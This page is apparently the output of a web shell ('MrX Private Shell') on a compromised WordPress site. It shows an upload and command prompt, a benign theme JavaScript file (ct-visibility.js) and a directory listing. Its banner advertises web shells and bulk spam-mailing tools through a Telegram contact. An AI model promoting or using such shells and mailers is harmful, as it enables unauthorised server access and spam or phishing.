__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
import {
	createElement,
	createPortal,
	useContext,
	Fragment,
	useState,
	Component,
	useRef,
} from '@wordpress/element'
import { maybeTransformUnorderedChoices } from '../helpers/parse-choices.js'
import classnames from 'classnames'
import { Transition, animated } from 'react-spring'
import bezierEasing from 'bezier-easing'
import OutsideClickHandler from './react-outside-click-handler'
import { __ } from 'ct-i18n'

const InlineVisibility = ({ option, value, onChange }) => {
	return (
		<ul
			className="ct-visibility-option ct-devices ct-buttons-group"
			{...(option.attr || {})}>
			{maybeTransformUnorderedChoices(option.choices).map(
				({ key, value: val }) => (
					<li
						className={classnames(
							{
								active: value[key],
							},
							`ct-${key}`
						)}
						onClick={() =>
							onChange({
								...value,
								[key]: value[key]
									? Object.values(value).filter((v) => v)
											.length === 1 && !option.allow_empty
										? true
										: false
									: true,
							})
						}
						key={key}
					/>
				)
			)}
		</ul>
	)
}

const VisibilityModal = ({ option, value, onChange }) => {
	const [{ isPicking, isTransitioning }, setAnimationState] = useState({
		isPicking: null,
		isTransitioning: null,
	})

	const stopTransitioning = () =>
		setAnimationState({
			isPicking,
			isTransitioning: false,
		})

	const el = useRef()

	return (
		<Fragment>
			<OutsideClickHandler
				useCapture={false}
				disabled={!isPicking}
				className="ct-visibility-trigger"
				additionalRefs={[]}
				onOutsideClick={() => {
					if (!isPicking) {
						return
					}

					setAnimationState({
						isTransitioning: true,
						isPicking: null,
					})
				}}
				wrapperProps={{
					ref: el,
					onClick: (e) => {
						e.preventDefault()

						setAnimationState({
							isTransitioning: true,
							isPicking: true,
						})
					},
				}}>
				<span>open visibility</span>
			</OutsideClickHandler>

			{(isTransitioning || isPicking) &&
				createPortal(
					<Transition
						items={isPicking}
						onRest={(isOpen) => {
							stopTransitioning()
						}}
						config={{
							duration: 100,
							easing: bezierEasing(0.25, 0.1, 0.25, 1.0),
						}}
						from={
							isPicking
								? {
										transform: 'scale3d(0.95, 0.95, 1)',
										opacity: 0,
								  }
								: { opacity: 1 }
						}
						enter={
							isPicking
								? {
										transform: 'scale3d(1, 1, 1)',
										opacity: 1,
								  }
								: {
										opacity: 1,
								  }
						}
						leave={
							isPicking
								? {
										transform: 'scale3d(0.95, 0.95, 1)',
										opacity: 0,
								  }
								: {
										opacity: 1,
								  }
						}>
						{(props, isPicking) =>
							isPicking && (
								<animated.div
									style={props}
									className="ct-box-shadow-modal"
									onClick={(e) => {
										e.preventDefault()
										e.stopPropagation()
									}}
									onMouseDownCapture={(e) => {
										e.nativeEvent.stopImmediatePropagation()
										e.nativeEvent.stopPropagation()
									}}
									onMouseUpCapture={(e) => {
										e.nativeEvent.stopImmediatePropagation()
										e.nativeEvent.stopPropagation()
									}}>
									<InlineVisibility
										option={option}
										value={value}
										onChange={onChange}
									/>
								</animated.div>
							)
						}
					</Transition>,
					el.current.closest('.ct-labeled-group-item')
						? el.current
								.closest('.ct-labeled-group-item')
								.querySelector('.ct-visibility-modal-wrapper')
						: el.current.closest('.ct-single-palette')
						? el.current
								.closest('.ct-single-palette')
								.querySelector('.ct-visibility-modal-wrapper')
						: el.current.closest('.ct-visibility-modal-wrapper')
						? el.current.closest('.ct-visibility-modal-wrapper')
						: el.current
								.closest('.ct-control')
								.querySelector('.ct-visibility-modal-wrapper')
				)}
		</Fragment>
	)
}

const Visibility = ({
	option,
	option: {
		// inline | modal
		view = 'inline',
	},
	value,
	onChange,
}) => {
	if (view === 'inline') {
		return (
			<InlineVisibility
				option={option}
				value={value}
				onChange={onChange}
			/>
		)
	}

	return <VisibilityModal option={option} value={value} onChange={onChange} />
}

Visibility.hiddenResponsive = true

Visibility.ControlEnd = () => <div className="ct-visibility-modal-wrapper" />

Visibility.renderingConfig = {
	getValueForRevert: ({ value }) => {
		if (typeof value === 'object') {
			if (
				value.desktop &&
				value.desktop === value.tablet &&
				value.tablet === value.mobile
			) {
				return true
			}

			if (
				!value.desktop &&
				value.desktop === value.tablet &&
				value.tablet === value.mobile
			) {
				return false
			}
		}

		return value
	},
}

export default Visibility

Filemanager

Name Type Size Permission Actions
background Folder 0750
box-shadow Folder 0750
color-palettes Folder 0750
color-picker Folder 0750
ct-addable-box Folder 0750
ct-layers Folder 0750
ct-number Folder 0750
ct-radio Folder 0750
ct-select Folder 0750
ct-slider Folder 0750
ct-spacing Folder 0750
ct-switch Folder 0750
ratio Folder 0750
text Folder 0750
typography Folder 0750
ct-addable-box.js File 6.16 KB 0640
ct-background.js File 5.46 KB 0640
ct-border.js File 2.75 KB 0640
ct-box-shadow.js File 2.64 KB 0640
ct-button.js File 456 B 0640
ct-checkboxes.js File 1.91 KB 0640
ct-color-palettes-mirror.js File 1000 B 0640
ct-color-palettes-picker.js File 6.71 KB 0640
ct-color-picker.js File 2.71 KB 0640
ct-customize-section-title-actions.js File 6.74 KB 0640
ct-customizer-reset-options.js File 1.83 KB 0640
ct-divider.js File 328 B 0640
ct-entity-picker.js File 2.38 KB 0640
ct-file-uploader.js File 2 KB 0640
ct-footer-builder.js File 5.96 KB 0640
ct-header-builder.js File 272 B 0640
ct-image-picker.js File 1.81 KB 0640
ct-image-uploader.js File 10.12 KB 0640
ct-layers-combined.js File 2.22 KB 0640
ct-layers-mirror.js File 1.15 KB 0640
ct-layers.js File 5.39 KB 0640
ct-multi-image-uploader.js File 3.14 KB 0640
ct-notification.js File 378 B 0640
ct-number.js File 454 B 0640
ct-panel.js File 8.88 KB 0640
ct-radio.js File 401 B 0640
ct-ratio.js File 6.87 KB 0640
ct-select.js File 669 B 0640
ct-slider.js File 14.14 KB 0640
ct-spacer.js File 386 B 0640
ct-spacing.js File 5.09 KB 0640
ct-switch.js File 508 B 0640
ct-timer.js File 3.27 KB 0640
ct-title.js File 562 B 0640
ct-typography.js File 7.35 KB 0640
ct-visibility.js File 4.76 KB 0640
ct-woocommerce-columns-and-rows.js File 3 KB 0640
ct-woocommerce-ratio.js File 1.66 KB 0640
date-time-picker.js File 811 B 0640
hidden.js File 243 B 0640
html.js File 264 B 0640
jsx.js File 237 B 0640
react-outside-click-handler.js File 3.17 KB 0640
text.js File 384 B 0640
textarea.js File 518 B 0640
wp-editor.js File 3.67 KB 0640
Filemanager